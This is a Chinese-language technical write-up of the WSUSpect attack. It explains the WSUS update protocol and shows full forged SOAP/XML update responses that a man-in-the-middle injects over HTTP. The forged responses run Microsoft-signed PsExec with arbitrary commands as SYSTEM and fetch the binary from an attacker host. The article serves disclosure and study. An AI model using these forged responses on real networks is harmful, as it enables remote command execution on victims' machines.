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Windows更新+中間人=遠端命令執行

by · 2016-02-22

Windows更新+中間人=遠端命令執行

0x00 Windows Server Update Services

WSUS是Windows Server Update Services的簡稱。利用這個windows服務,管理員只需要保證區域網域中的一台主機能夠連接到MicroSoft Update伺服器，就能實現內網中所所有主機快速地進行windows更新。

簡而言之，內網中的WSUS伺服器就是windows官方更新伺服器的代理。WSUS伺服器通過互聯網取得官方的windows update，並且緩存到本地。管理員只需要在WSUS上選擇哪些補丁需要更新，就能通過HTTP/HTTPS協議快速地將各種ms-2015-***|||*部署到內網中的其他伺服器中去，這樣即使是由於種種原因不能暴露在英特網中的內網主機（比如oracle資料庫伺服器）也能通過WSUS及時下載補丁，大大增加了內網的安全性，實現了細粒化管理。所以很多中大型網路都會部署wsus伺服器來實現內網安全加固。

由於wsus是基於c/s模式的，所以server和client我們都需要進行配置。 client機器上在註冊表中存儲了wsus伺服器的位址 

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\W UServer

比如存儲的內容可能是這樣的 http://wsus01:8530. Port 8530 是wsus部署的默認埠。

0x01 WSUS 協議分析

wsus利用SOAP XML實現c/s之間的通信，當client主機首次連入wsus-server的時候，會有一個這樣的註冊過程。

2015112106260576738

一旦完成了這樣的註冊流程，client主機就能進行定時更新檢查了。(只要上述的cookies不過期)

2015112106260538931

這裡我們詳細分析一下每一個請求 

SOAP Call                     請求                       回應
SyncUpdates (硬體驅動)       本機硬體清單               可更新的驅動列表
SyncUpdates (軟體）         已經安裝的更新的id列表   新可用更新列表以及metadata
GetExtendedUpdateInfo      具體地update id       對應此id的詳盡的metadata,包括下載地址,hash..

可以看到wsus服務其實非常好理解：

一個SyncUpdates到wsus伺服器獲取可更新的id以及id對應的一些解釋資料，本機通過這些解釋資料決定安裝哪個（些）補丁，並且發送GetExtendedUpdateInfo，獲得詳細的資訊進行安裝。

下面是一個SyncUpdates響應的例子

Example of wsus-server to cilent 

<UpdateIdentity UpdateID="53979536-176e-46c2-9f61-bcf68381c065"     RevisionNumber="206" />
<Properties UpdateType="Software" />
<Relationships>
    <Prerequisites>
        <UpdateIdentity UpdateID="59653007-e2e9-4f71-8525-2ff588527978" />          <UpdateIdentity UpdateID="71c1e8bb-9a5d-4e56-a456-10b0624c7188" />      </Prerequisites>
</Relationships>
<ApplicabilityRules>
    <IsInstalled>
    <b.FileVersion Version="6.1.7601.22045" Comparison="GreaterThanOrEqualTo"
Path="\conhost.exe" Csidl="37" />
    </IsInstalled>
    <IsInstallable>
        <Not>
      <CbsPackageInstalledByIdentity
PackageIdentity="InternetExplorer-Package~11.2.9600.16428" /> </Not>
    </IsInstallable>

那麼一旦client決定了要裝哪些更新就會再發一個GetExtenedUpdateInfo到wsus-server

Example of client to wsus-server（GetExtendedUpdateInfo request） 

<soap:Envelope><soap:Body>
<GetExtendedUpdateInfo>
    <cookie>首次連接註冊的cookies</cookie> 
    <revisionIDs>
        <int>13160722</int>
        <int>16753458</int>
        <int>17212691</int> 
        <int>17212692</int>
    </revisionIDs>
    <infoTypes>
        <XmlUpdateFragmentType>Extended</XmlUpdateFragmentType>             <XmlUpdateFragmentType>LocalizedProperties</XmlUpdateFragmentType>          <XmlUpdateFragmentType>Eula</XmlUpdateFragmentType>     </infoTypes>                                    <locales>
        <string>en-US</string>
        <string>en</string>                         </locales>                              
</GetExtendedUpdateInfo>
</soap:Body></soap:Envelope>

wsus接著給出回應

Example of GetExtendedUpdateInfo response 

<soap:Envelope><soap:Body>
<GetExtendedUpdateInfoResponse><GetExtendedUpdateInfoResult>    <Updates>
    <Update>
        <ID>17212691</ID>
        <Xml>&lt;ExtendedProperties...&lt;/HandlerSpecificData&gt;</Xml> </Update>  
    <Update>
        <ID>17212692</ID>
        <Xml>&lt;ExtendedProperties...&lt;/HandlerSpecificData&gt;</Xml> </Update>
...                                                 </Updates>
<FileLocations>
    <FileLocation> 
        <FileDigest>tXa3bCw4XzkLd/Fyfs2ATZcYgh8=</FileDigest>
          <Url>http://wsus-server:8530/Content/1F/B576B76C2C385F39.cab</Url> </FileLocation>
    <FileLocation>
        <FileDigest>OzTUyOLCmjlK08U2VJNHw3rfpzQ=</FileDigest>
          <Url>http://wsus-server:8530/Content/34/3B34D4C8E2C29A39.cab</Url> </FileLocation>                                        </FileLocations>
</GetExtendedUpdateInfoResult>
</GetExtendedUpdateInfoResponse>
</soap:Body></soap:Envelope>

需要說明的是，每一個update標籤就是一個更新執行緒，然而最為重要的metadada標籤在MSDN文檔中卻並沒有詳細解釋。我們自己來分析一個看看 

<ExtendedProperties DefaultPropertiesLanguage="en" Handler="http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/WindowsInstaller" MaxDownloadSize="3077548" MinDownloadSize="0">
  <InstallationBehavior RebootBehavior="CanRequestReboot" />
<UninstallationBehavior />
</ExtendedProperties>
<Files>
    <File Digest="OzTUyOLCmjlK08U2VJNHw3rfpzQ=" DigestAlgorithm="SHA1"          FileName="infopath-x-none.cab"  Size="3077548"          Modified="2013-12-18T21:44:08.38Z" PatchingType="SelfContained">
        <AdditionalDigest Algorithm="SHA256">FS28f... ohVcFKbaG4=</AdditionalDigest> 
    </File>     
</Files>
    <HandlerSpecificData type="msp:WindowsInstaller">
    <MspData CommandLine="DISABLESRCPROMPT=1 LOCALCACHESRCRES=0 NOLOCALCACHEROLLBACK=1"
    UninstallCommandLine="DISABLESRCPROMPT=1 LOCALCACHESRCRES=0
        NOLOCALCACHEROLLBACK=1"
    FullFilePatchCode="{39767eca-1731-45db-ab5b-6bf40e151d66}" />
</HandlerSpecificData>

其中<HandlerSpecificData>標籤指定了目的程式由哪個handler來進行安裝。 windows提供了如下幾種handler供指定

  1. Cbs (Cab file)
  2. WindowsDriver
  3. WindowsInstaller
  4. WindowsPatch
  5. InfBasedInstallation
  6. CommandLineInstallation

其中CommandLineInstallation這個handler允許單個可執行檔加任意參數被運行。適合我們的目的

所以，這裡我們關注這個handler進行討論

handler分析

二話不說先給出一個<xml>標籤實例，這是安裝 Malicious Software Removal tool（微軟公司出品的，用於檢測和刪除特殊流行的惡意軟體的工具）的Metadata 

<ExtendedProperties DefaultPropertiesLanguage="en"
        Handler="http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/          CommandLineInst allation"
        MaxDownloadSize="41837240" MinDownloadSize="0">
    <InstallationBehavior RebootBehavior="CanRequestReboot" />
</ExtendedProperties>
<Files>
    <File Digest="sJRqIvCrdbpZvP18wDS2HbwhFUE=" DigestAlgorithm="SHA1"              FileName="Windows-KB890830-x64-V5.22.exe"
            Size="41837240" Modified="2015-02-27T15:54:52Z">
        <AdditionalDigest Algorithm="SHA256">robj...WY0=</AdditionalDigest>     </File>
</Files>
<HandlerSpecificData type="cmd:CommandLineInstallation">
<InstallCommand  Arguments="/Q /W"                           Program="Windows-KB890830-x64-V5.22.exe"                   RebootByDefault="false"                         DefaultResult="Succeeded">
<ReturnCode Reboot="true" Result="Succeeded" Code="3010" />  <ReturnCode Reboot="false" Result="Failed" Code="1603" />  <ReturnCode Reboot="false" Result="Failed" Code="-2147024894" />
</InstallCommand>
</HandlerSpecificData>

其中具體的安裝過程就在<InstallCommand>那兒了

0x02 Http有毒

將整個wsus流程分析清楚了。我們再來考慮一下基於wsus的安全問題，不知道大家是否注意到，前文曾經提到過

管理員只需要在wsus上選擇哪些補丁需要更新，就能通過HTTP/HTTPS協議快速地將各種ms-2015-***|||*部署到內網中的其他伺服器中去

而http協議在內網中簡直就是毒藥。 最令人遺憾的是，截止到最新的版本，wsus依然使用http作為預設的同學協議，只是在安裝完畢的wizard介面向管理員建議部署ssl通信

2015112106260658488

所以我們完全有能力在內網中通過中間人篡改metadata實現攻擊（以system許可權）。而且攻擊一定會奏效，因為wsus部署好之後，client的update check是定期的，所以肯定能夠偽造一個新更新，迫使用戶安裝。

0x03 windows簽名驗證的繞過到中間人遠端命令執行

可惜如果你們覺得通過中間人篡改metadata就能裝個驅動馬到主機上，那就too young了。

All update packages that are downloaded by Windows Update are signed with a Microsoft signature.（所有更新包必須帶有微軟簽名才能被下載並安裝）

所以現在有兩種辦法來解決問題

  1. 給你的木馬加一個微軟的簽屬
  2. 另闢蹊徑

恩。。我們直接想第二種辦法。 windows Update會驗證每個更新是否被微軟公司簽名，然而，簽章憑證並不需要指明是用來“windows update” 這就是說，任何被微軟簽名的可執行程式都能被作為更新包被安裝並運行。

想像一下，假如我們能夠偽造一個cmd.exe的更新呢，加上前面又提到，在xml標籤裡面是可以指定運行參數的，那我們就能夠通過中間人執行任意命令了！

冷靜冷靜，我們的微軟並沒有給cmd.exe簽名。

但是psExec確乎是被微軟簽名了，psexec的作用這裡不解釋，大家都懂

所以我們完全有能力將psexec運行在NT AUTHORITY\SYSTEM下。所以，pwned~

0x04 Pwn

這是一個沒有經過篡改的SyncUpdate 回應（用來告訴client現在有哪些更新可用） 

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<SyncUpdatesResponse
    xmlns="http://www.microsoft.com/SoftwareDistribution/Server/            ClientWebService ">
<SyncUpdatesResult>
<NewUpdates></NewUpdates>   
<Truncated>false</Truncated>                    <NewCookie>
<Expiration>2015-07-17T10:06:59Z</Expiration>
<EncryptedData>qIbM...RtXw0VdZg==</EncryptedData> </NewCookie>  <DriverSyncNotNeeded>false</DriverSyncNotNeeded>
</SyncUpdatesResult>
</SyncUpdatesResponse>
</soap:Body></soap:Envelope>

而我們的通過在上面為空的NewUpdates標籤中插入內容，就能偽造更新

通過大量測試我們發現一個windows update需要兩個<UpdateInfo>元素，其中一個必須含有<Action>Install</Action>標籤，另一個必須含有<Action>Bundle</Action> 標籤，install標籤提供了更新標題諸如此類的，而bundle標籤則提供更新檔。 

<NewUpdates>                                    <!-- Start of injected content -->
<UpdateInfo>
<ID>17999990</ID>                               <Deployment>
<ID>899990</ID>
<Action>Bundle</Action>
<IsAssigned>true</IsAssigned>
<LastChangeTime>2015-04-15</LastChangeTime>
<AutoSelect>0</AutoSelect>
<AutoDownload>0</AutoDownload>
<SupersedenceBehavior>0</SupersedenceBehavior>  <FlagBitmask>0</FlagBitmask>
</Deployment>
<IsLeaf>true</IsLeaf>
<Xml>
<!-- This would XML-encoded inside the Xml tag -->
<UpdateIdentity UpdateID="969e0d46-7f67-4c81-b672-3c1c4a36c00e"
RevisionNumber="201" />
<Properties UpdateType="Software" />
<Relationships>
<Prerequisites> 
<UpdateIdentity UpdateID="6407468e-edc7-4ecd-8c32-521f64cee65e" />
</Prerequisites>
</Relationships>
<ApplicabilityRules>
<IsInstalled>
<b.FileExists Csidl="41" Path="\15151245.exe" /> <!-- This file shouldn't
exist -->
</IsInstalled>
<IsInstallable>
<b.FileExists Csidl="41" Path="\mswsock.dll" /> <!-- This does exist -->
</IsInstallable>
</ApplicabilityRules>
</Xml>
</UpdateInfo>
<UpdateInfo>
<ID>17999991</ID>
<Deployment>
<ID>899991</ID>
<Action>Install</Action>
<IsAssigned>true</IsAssigned>
<LastChangeTime>2015-04-15</LastChangeTime>
<AutoSelect>0</AutoSelect> <!-- This must be 0 according to docs, WU
ignores it -->                                  <AutoDownload>0</AutoDownload> <!-- same -->
<SupersedenceBehavior>0</SupersedenceBehavior>
<FlagBitmask>0</FlagBitmask>
</Deployment>
<IsLeaf>true</IsLeaf>
<Xml>
<!-- This should be XML encoded inside the Xml tag -->
<UpdateIdentity UpdateID="853ea117-355b-4c1e-96ce-fab9c977a8e7"
    RevisionNumber="201" />
<Properties UpdateType="Software" ExplicitlyDeployable="true"
    AutoSelectOnWebSites="true"/>
<Relationships>
<Prerequisites>
<UpdateIdentity UpdateID="6407468e-edc7-4ecd-8c32-521f64cee65e" /> <!--
    Requires Windows 10 -->
</Prerequisites>
<BundledUpdates>
<UpdateIdentity UpdateID="969e0d46-7f67-4c81-b672-3c1c4a36c00e"
RevisionNumber="201" />
    </BundledUpdates>
</Relationships>
</Xml>  </UpdateInfo>   <!-- End of injected content -->
</NewUpdates>

於是乎，client會就剛剛兩個id發出GetExtendedUpdateInfo請求，要求wsus伺服器返回詳細的安裝消息 

<revisionIDs>
<int>17999990</int> 
<int>17999991</int>
</revisionIDs>
<infoTypes>
<XmlUpdateFragmentType>Extended</XmlUpdateFragmentType>
<XmlUpdateFragmentType>LocalizedProperties</XmlUpdateFragmentType>
</infoTypes>

中間人這時再次將請求包中的兩個id剔除，以免wusu伺服器因為不存在的更新報錯。當wsus伺服器響應之後，我們再將響應內容篡改，這次我們加入四個更新標籤 

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body><GetExtendedUpdateInfoResponse
xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<GetExtendedUpdateInfoResult>
<Updates>
<Update>
<ID>17999990</ID>
<Xml>
 <!-- This should be XML encoded inside the Xml tag -->
<ExtendedProperties DefaultPropertiesLanguage="en"
 Handler="http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/CommandLineI
nstallation"
MaxDownloadSize="847040" MinDownloadSize="0">
<InstallationBehavior RebootBehavior="NeverReboots" />
</ExtendedProperties>
<Files>
<File Digest="HO4/qEGb30y8JmRhJ34/3ZuT3iU=" DigestAlgorithm="SHA1"
FileName="PsExec.exe" Size="847040" Modified="2015-02-27T15:54:52Z">
<AdditionalDigest
Algorithm="SHA256">A2LNbnsxirmkx02vIp8Ru3laLOVT6gJMtJFDRWwnxB0=</AdditionalDig
est>
</File>
</Files>
<HandlerSpecificData type="cmd:CommandLineInstallation">
<InstallCommand Arguments="/accepteula cmd /c calc.exe"
Program="Windows-KB890830-V5.22.exe"
RebootByDefault="false" DefaultResult="Succeeded">
<ReturnCode Reboot="true" Result="Succeeded" Code="3010" />
<ReturnCode Reboot="false" Result="Failed" Code="1603" />
<ReturnCode Reboot="false" Result="Failed" Code="-2147024894" />
</InstallCommand>
</HandlerSpecificData>
 </Xml>
 </Update>
 <Update>
<ID>17999991</ID>
  <Xml>
 <!-- This should be XML encoded inside the Xml tag -->
<ExtendedProperties DefaultPropertiesLanguage="en" MsrcSeverity="Important"
 IsBeta="false">
 <SupportUrl>http://support.microsoft.com</SupportUrl>
  <SecurityBulletinID>MS15-041</SecurityBulletinID>
 <KBArticleID>3037581</KBArticleID>
  </ExtendedProperties>
 </Xml>
 </Update>
 <Update>
<ID>17999990</ID>
  <Xml>
 <!-- This should be XML encoded inside the Xml tag -->
 <LocalizedProperties>
<Language>en</Language>
 <Title>anything-in-here</Title>
  </LocalizedProperties>
 </Update>
</Xml>
  <Update>
<ID>17999991</ID>
  <Xml>
 <!-- This should be XML encoded inside the Xml tag -->
 <LocalizedProperties>
<Language>en</Language>
 <Title>A fake update</Title>
 <Description>Will do bad things</Description>
 <UninstallNotes>...</UninstallNotes>
 <MoreInfoUrl>http://support.microsoft.com/kb/3037581</MoreInfoUrl>
  <SupportUrl>http://support.microsoft.com</SupportUrl>
   </LocalizedProperties>
 </Xml>
 </Update>
 </Updates>
 <FileLocations>
 <FileLocation>
<FileDigest>HO4/qEGb30y8JmRhJ34/3ZuT3iU=</FileDigest>
 <Url>**http://fake-updates/ClientWebService/psexec/BgInfo.exe**</Url>
  </FileLocation>
 </FileLocations>
</GetExtendedUpdateInfoResult></GetExtendedUpdateInfoResponse>

0x05 Source

http://www.contextis.com/documents/161/CTX_WSUSpect_White_Paper.pdf

pocket: https://github.com/ctxis/wsuspect-proxy

文章來源:http://drops.wooyun.org/tips/10558
圖片來源:https://pixabay.com/

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